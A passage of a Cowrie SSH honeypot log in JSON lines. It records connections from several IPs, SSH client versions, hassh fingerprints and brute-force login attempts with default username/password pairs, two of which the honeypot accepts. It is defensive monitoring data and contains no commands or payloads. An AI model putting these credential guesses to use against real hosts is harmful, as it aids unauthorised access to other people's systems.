6","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:37.038563Z","src_ip":"97.74.87.152","session":"88e4b3b56d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:37.101674Z","src_ip":"45.153.34.195","session":"6391f4c60936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":65170,"dst_ip":"10.17.0.5","dst_port":22,"session":"776f4f89bae3","protocol":"ssh","message":"New connection: 173.208.188.210:65170 (10.17.0.5:22) [session: 776f4f89bae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:37.347148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:37.351511Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:37.500139Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567A","message":"login attempt [root/1234567A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:38.011663Z","src_ip":"97.74.87.152","session":"88e4b3b56d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48530,"dst_ip":"10.17.0.5","dst_port":22,"session":"64a16d8be6f4","protocol":"ssh","message":"New connection: 45.153.34.195:48530 (10.17.0.5:22) [session: 64a16d8be6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:38.439532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:38.445077Z","src_ip":"45.153.34.195","session":"64a16d8be6f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:38.533016Z","src_ip":"45.153.34.195","session":"64a16d8be6f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:38.789677Z","src_ip":"45.153.34.195","session":"64a16d8be6f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:39.131182Z","src_ip":"173.208.188.210","session":"776f4f89bae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:39.248646Z","src_ip":"97.74.87.152","session":"88e4b3b56d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:39.780869Z","src_ip":"91.92.40.36","session":"0c109c2b9e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:39.873352Z","src_ip":"45.153.34.195","session":"64a16d8be6f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48536,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e07992c2d60","protocol":"ssh","message":"New connection: 45.153.34.195:48536 (10.17.0.5:22) [session: 6e07992c2d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:41.343415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:41.359189Z","src_ip":"45.153.34.195","session":"6e07992c2d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:41.428900Z","src_ip":"45.153.34.195","session":"6e07992c2d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dummy","password":"dummy","message":"login attempt [dummy/dummy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:41.751458Z","src_ip":"45.153.34.195","session":"6e07992c2d60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40854,"dst_ip":"10.17.0.5","dst_port":22,"session":"748e2125ac18","protocol":"ssh","message":"New connection: 91.92.40.36:40854 (10.17.0.5:22) [session: 748e2125ac18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:41.775424Z"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:42.231370Z","src_ip":"91.92.40.36","session":"0c109c2b9e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:42.835517Z","src_ip":"45.153.34.195","session":"6e07992c2d60","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:42.894850Z","src_ip":"91.92.40.36","session":"748e2125ac18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:42.898395Z","src_ip":"91.92.40.36","session":"748e2125ac18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:43.825605Z","src_ip":"91.92.40.36","session":"9a729b48140d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16168,"dst_ip":"10.17.0.5","dst_port":22,"session":"19639ff827f6","protocol":"ssh","message":"New connection: 45.153.34.195:16168 (10.17.0.5:22) [session: 19639ff827f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:44.164292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:44.202891Z","src_ip":"45.153.34.195","session":"19639ff827f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:44.265136Z","src_ip":"45.153.34.195","session":"19639ff827f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3ioj0u0uO(_I@jieee","message":"login attempt [root/3ioj0u0uO(_I@jieee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:44.594943Z","src_ip":"45.153.34.195","session":"19639ff827f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:45.736718Z","src_ip":"45.153.34.195","session":"19639ff827f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16176,"dst_ip":"10.17.0.5","dst_port":22,"session":"845e356ff267","protocol":"ssh","message":"New connection: 45.153.34.195:16176 (10.17.0.5:22) [session: 845e356ff267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:46.981031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:46.986014Z","src_ip":"45.153.34.195","session":"845e356ff267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:47.074347Z","src_ip":"45.153.34.195","session":"845e356ff267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:47.676533Z","src_ip":"45.153.34.195","session":"845e356ff267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17890,"dst_ip":"10.17.0.5","dst_port":22,"session":"33b7aed053e4","protocol":"ssh","message":"New connection: 91.92.40.36:17890 (10.17.0.5:22) [session: 33b7aed053e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:48.489003Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:48.834800Z","src_ip":"45.153.34.195","session":"845e356ff267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:49.746070Z","src_ip":"91.92.40.36","session":"9a729b48140d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1234","message":"login attempt [pi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:49.751301Z","src_ip":"91.92.40.36","session":"748e2125ac18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16190,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff8512aafd6","protocol":"ssh","message":"New connection: 45.153.34.195:16190 (10.17.0.5:22) [session: 7ff8512aafd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:49.956566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:49.961378Z","src_ip":"45.153.34.195","session":"7ff8512aafd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:50.058184Z","src_ip":"45.153.34.195","session":"7ff8512aafd6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:50.470878Z","src_ip":"45.153.34.195","session":"7ff8512aafd6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:50.611572Z","src_ip":"91.92.40.36","session":"33b7aed053e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:41:50.625511Z","src_ip":"91.92.40.36","session":"33b7aed053e4","protocol":"ssh"}
